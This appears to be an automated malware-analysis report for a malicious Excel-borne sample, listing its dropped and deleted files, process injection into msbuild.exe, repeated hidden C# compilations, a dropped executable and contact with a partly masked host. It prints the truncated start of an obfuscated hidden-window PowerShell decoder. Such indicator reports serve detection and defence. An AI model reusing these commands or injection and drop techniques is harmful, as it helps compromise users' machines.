Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function n958af5 {param($x66c89)$t5c73a5='c582a1';$p5a5e8='';for ($i=0; $i -lt $x66c89.length;$i+=2){$pc1cd=[convert]::ToByte($x66c89.Substring($i,2),16);$p5a5e8+=[char]($...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
Modifies file system
Creates the following files
- %TEMP%\zsrxocoa.0.cs
- %TEMP%\xva4jinh.cmdline
- %TEMP%\xva4jinh.0.cs
- %TEMP%\cwrvaxw9.dll
- %TEMP%\res2b54.tmp
- %TEMP%\csc2b33.tmp
- %TEMP%\cwrvaxw9.out
- %TEMP%\cwrvaxw9.cmdline
- %TEMP%\cwrvaxw9.0.cs
- %TEMP%\5qrymz8a.dll
- %TEMP%\res1a4.tmp
- %TEMP%\csc193.tmp
- %TEMP%\5qrymz8a.out
- %TEMP%\5qrymz8a.cmdline
- %TEMP%\5qrymz8a.0.cs
- %TEMP%\zptdyctv.dll
- %TEMP%\resa7cc.tmp
- %TEMP%\csca7ac.tmp
- %TEMP%\zptdyctv.out
- %TEMP%\zptdyctv.cmdline
- %TEMP%\ybgi_60c.dll
- %TEMP%\zptdyctv.0.cs
- %TEMP%\xva4jinh.out
- %TEMP%\csc4ff2.tmp
- %TEMP%\resa4a.tmp
- %TEMP%\csca2a.tmp
- %TEMP%\9u1w3rse.out
- %TEMP%\9u1w3rse.cmdline
- %TEMP%\9u1w3rse.0.cs
- %TEMP%\hkt4s9ed.dll
- %TEMP%\resaa09.tmp
- %TEMP%\cscaa08.tmp
- %TEMP%\hkt4s9ed.out
- %TEMP%\hkt4s9ed.0.cs
- %TEMP%\ns8lvjvb.dll
- %APPDATA%\n12b38.exe
- %TEMP%\fdtj6gp8.dll
- %TEMP%\res82ab.tmp
- %TEMP%\csc828b.tmp
- %TEMP%\fdtj6gp8.out
- %TEMP%\fdtj6gp8.cmdline
- %TEMP%\fdtj6gp8.0.cs
- %TEMP%\xva4jinh.dll
- %TEMP%\res5002.tmp
- %TEMP%\res91f2.tmp
- %TEMP%\csc91e1.tmp
- %TEMP%\ybgi_60c.out
- %TEMP%\csc4e31.tmp
- %TEMP%\elu-mnc-.out
- %TEMP%\ns8lvjvb.out
- %TEMP%\ns8lvjvb.cmdline
- %TEMP%\ns8lvjvb.0.cs
- %TEMP%\elu-mnc-.cmdline
- %TEMP%\elu-mnc-.0.cs
- %TEMP%\brwmy7vp.out
- %TEMP%\brwmy7vp.cmdline
- %TEMP%\brwmy7vp.0.cs
- %TEMP%\4xzt-u1s.out
- %TEMP%\4xzt-u1s.cmdline
- %TEMP%\4xzt-u1s.0.cs
- %TEMP%\zsrxocoa.out
- %TEMP%\zsrxocoa.cmdline
- %TEMP%\913r6dmh.out
- %TEMP%\913r6dmh.cmdline
- %TEMP%\913r6dmh.0.cs
- %TEMP%\csc4f3b.tmp
- %TEMP%\csc4fb8.tmp
- %TEMP%\csc4e51.tmp
- %TEMP%\csc5045.tmp
- %TEMP%\ybgi_60c.cmdline
- %TEMP%\csc50e1.tmp
- %TEMP%\ybgi_60c.0.cs
- %TEMP%\8wwsebhp.dll
- %TEMP%\res75a0.tmp
- %TEMP%\csc7580.tmp
- %TEMP%\8wwsebhp.out
- %TEMP%\8wwsebhp.cmdline
- %TEMP%\8wwsebhp.0.cs
- %TEMP%\913r6dmh.dll
- %TEMP%\hkt4s9ed.cmdline
- %TEMP%\9u1w3rse.dll
- %TEMP%\brwmy7vp.dll
- %TEMP%\res50f1.tmp
- %TEMP%\res5065.tmp
- %TEMP%\res4fd8.tmp
- %TEMP%\res4f3c.tmp
- %TEMP%\elu-mnc-.dll
- %TEMP%\res4e42.tmp
- %TEMP%\4xzt-u1s.dll
- %TEMP%\res4e71.tmp
- %TEMP%\zsrxocoa.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{f414474c-e243-487a-84fb-386725658d71}.tmp
Deletes the following files
- %TEMP%\res4e71.tmp
- %TEMP%\cwrvaxw9.dll
- %TEMP%\cwrvaxw9.pdb
- %TEMP%\cwrvaxw9.0.cs
- %TEMP%\cwrvaxw9.out
- %TEMP%\csc2b33.tmp
- %TEMP%\res2b54.tmp
- %TEMP%\5qrymz8a.pdb
- %TEMP%\5qrymz8a.out
- %TEMP%\5qrymz8a.0.cs
- %TEMP%\5qrymz8a.dll
- %TEMP%\cwrvaxw9.cmdline
- %TEMP%\5qrymz8a.cmdline
- %TEMP%\res1a4.tmp
- %TEMP%\zptdyctv.out
- %TEMP%\zptdyctv.dll
- %TEMP%\zptdyctv.pdb
- %TEMP%\zptdyctv.0.cs
- %TEMP%\zptdyctv.cmdline
- %TEMP%\csca7ac.tmp
- %TEMP%\resa7cc.tmp
- %TEMP%\ybgi_60c.dll
- %TEMP%\ybgi_60c.pdb
- %TEMP%\csc193.tmp
- %TEMP%\res5002.tmp
- %TEMP%\csc4ff2.tmp
- %TEMP%\xva4jinh.0.cs
- %TEMP%\9u1w3rse.pdb
- %TEMP%\9u1w3rse.out
- %TEMP%\9u1w3rse.dll
- %TEMP%\csca2a.tmp
- %TEMP%\resa4a.tmp
- %TEMP%\hkt4s9ed.cmdline
- %TEMP%\hkt4s9ed.dll
- %TEMP%\hkt4s9ed.pdb
- %TEMP%\hkt4s9ed.out
- %TEMP%\hkt4s9ed.0.cs
- %TEMP%\cscaa08.tmp
- %TEMP%\resaa09.tmp
- %TEMP%\fdtj6gp8.pdb
- %TEMP%\fdtj6gp8.out
- %TEMP%\fdtj6gp8.0.cs
- %TEMP%\fdtj6gp8.cmdline
- %TEMP%\fdtj6gp8.dll
- %TEMP%\csc828b.tmp
- %TEMP%\res82ab.tmp
- %TEMP%\xva4jinh.cmdline
- %TEMP%\xva4jinh.pdb
- %TEMP%\xva4jinh.out
- %TEMP%\xva4jinh.dll
- %TEMP%\ybgi_60c.0.cs
- %TEMP%\9u1w3rse.0.cs
- %TEMP%\ybgi_60c.cmdline
- %TEMP%\csc91e1.tmp
- %TEMP%\913r6dmh.0.cs
- %TEMP%\csc50e1.tmp
- %TEMP%\res50f1.tmp
- %TEMP%\csc4fb8.tmp
- %TEMP%\res4fd8.tmp
- %TEMP%\csc5045.tmp
- %TEMP%\res5065.tmp
- %TEMP%\csc4f3b.tmp
- %TEMP%\res4f3c.tmp
- %TEMP%\elu-mnc-.dll
- %TEMP%\913r6dmh.pdb
- %TEMP%\elu-mnc-.0.cs
- %TEMP%\elu-mnc-.pdb
- %TEMP%\elu-mnc-.cmdline
- %TEMP%\4xzt-u1s.out
- %TEMP%\4xzt-u1s.cmdline
- %TEMP%\4xzt-u1s.dll
- %TEMP%\4xzt-u1s.0.cs
- %TEMP%\4xzt-u1s.pdb
- %TEMP%\csc4e31.tmp
- %TEMP%\res4e42.tmp
- %TEMP%\csc4e51.tmp
- %TEMP%\elu-mnc-.out
- %TEMP%\913r6dmh.out
- %TEMP%\913r6dmh.dll
- %TEMP%\913r6dmh.cmdline
- %TEMP%\res91f2.tmp
- %TEMP%\8wwsebhp.pdb
- %TEMP%\8wwsebhp.0.cs
- %TEMP%\8wwsebhp.out
- %TEMP%\8wwsebhp.cmdline
- %TEMP%\8wwsebhp.dll
- %TEMP%\csc7580.tmp
- %TEMP%\res75a0.tmp
- %TEMP%\zsrxocoa.0.cs
- %TEMP%\zsrxocoa.pdb
- %TEMP%\zsrxocoa.out
- %TEMP%\zsrxocoa.cmdline
- %TEMP%\zsrxocoa.dll
- %TEMP%\ns8lvjvb.pdb
- %TEMP%\ns8lvjvb.0.cs
- %TEMP%\ns8lvjvb.dll
- %TEMP%\ns8lvjvb.cmdline
- %TEMP%\ns8lvjvb.out
- %TEMP%\brwmy7vp.0.cs
- %TEMP%\brwmy7vp.cmdline
- %TEMP%\brwmy7vp.dll
- %TEMP%\brwmy7vp.pdb
- %TEMP%\brwmy7vp.out
- %TEMP%\ybgi_60c.out
- %TEMP%\9u1w3rse.cmdline
Network activity
TCP
- 'hu###sztrada.hu':443
UDP
- DNS ASK hu###sztrada.hu
Miscellaneous
Creates and executes the following
- '%APPDATA%\n12b38.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function n958af5 {param($x66c89)$t5c73a5='c582a1';$p5a5e8='';for ($i=0; $i -lt $x66c89.length;$i+=2){$pc1cd=[convert]::ToByte($x66c89.Substring($i,2),16);$p5a5e8+=[char]($...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAA09.tmp" "%TEMP%\CSCAA08.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hkt4s9ed.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES82AB.tmp" "%TEMP%\CSC828B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fdtj6gp8.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5002.tmp" "%TEMP%\CSC4FF2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xva4jinh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2B54.tmp" "%TEMP%\CSC2B33.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cwrvaxw9.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A4.tmp" "%TEMP%\CSC193.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5qrymz8a.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA7CC.tmp" "%TEMP%\CSCA7AC.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zptdyctv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES91F2.tmp" "%TEMP%\CSC91E1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ybgi_60c.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES75A0.tmp" "%TEMP%\CSC7580.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8wwsebhp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES50F1.tmp" "%TEMP%\CSC50E1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5065.tmp" "%TEMP%\CSC5045.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4FD8.tmp" "%TEMP%\CSC4FB8.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4F3C.tmp" "%TEMP%\CSC4F3B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4E42.tmp" "%TEMP%\CSC4E31.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4E71.tmp" "%TEMP%\CSC4E51.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\elu-mnc-.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ns8lvjvb.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brwmy7vp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4xzt-u1s.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zsrxocoa.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\913r6dmh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9u1w3rse.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA4A.tmp" "%TEMP%\CSCA2A.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA4A.tmp" "%TEMP%\CSCA2A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9u1w3rse.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAA09.tmp" "%TEMP%\CSCAA08.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hkt4s9ed.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES82AB.tmp" "%TEMP%\CSC828B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fdtj6gp8.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5002.tmp" "%TEMP%\CSC4FF2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xva4jinh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2B54.tmp" "%TEMP%\CSC2B33.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cwrvaxw9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1A4.tmp" "%TEMP%\CSC193.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5qrymz8a.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA7CC.tmp" "%TEMP%\CSCA7AC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zptdyctv.cmdline"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES91F2.tmp" "%TEMP%\CSC91E1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES75A0.tmp" "%TEMP%\CSC7580.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8wwsebhp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES50F1.tmp" "%TEMP%\CSC50E1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5065.tmp" "%TEMP%\CSC5045.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4FD8.tmp" "%TEMP%\CSC4FB8.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4F3C.tmp" "%TEMP%\CSC4F3B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4E42.tmp" "%TEMP%\CSC4E31.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4E71.tmp" "%TEMP%\CSC4E51.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\elu-mnc-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ns8lvjvb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\brwmy7vp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4xzt-u1s.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zsrxocoa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\913r6dmh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ybgi_60c.cmdline"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe'
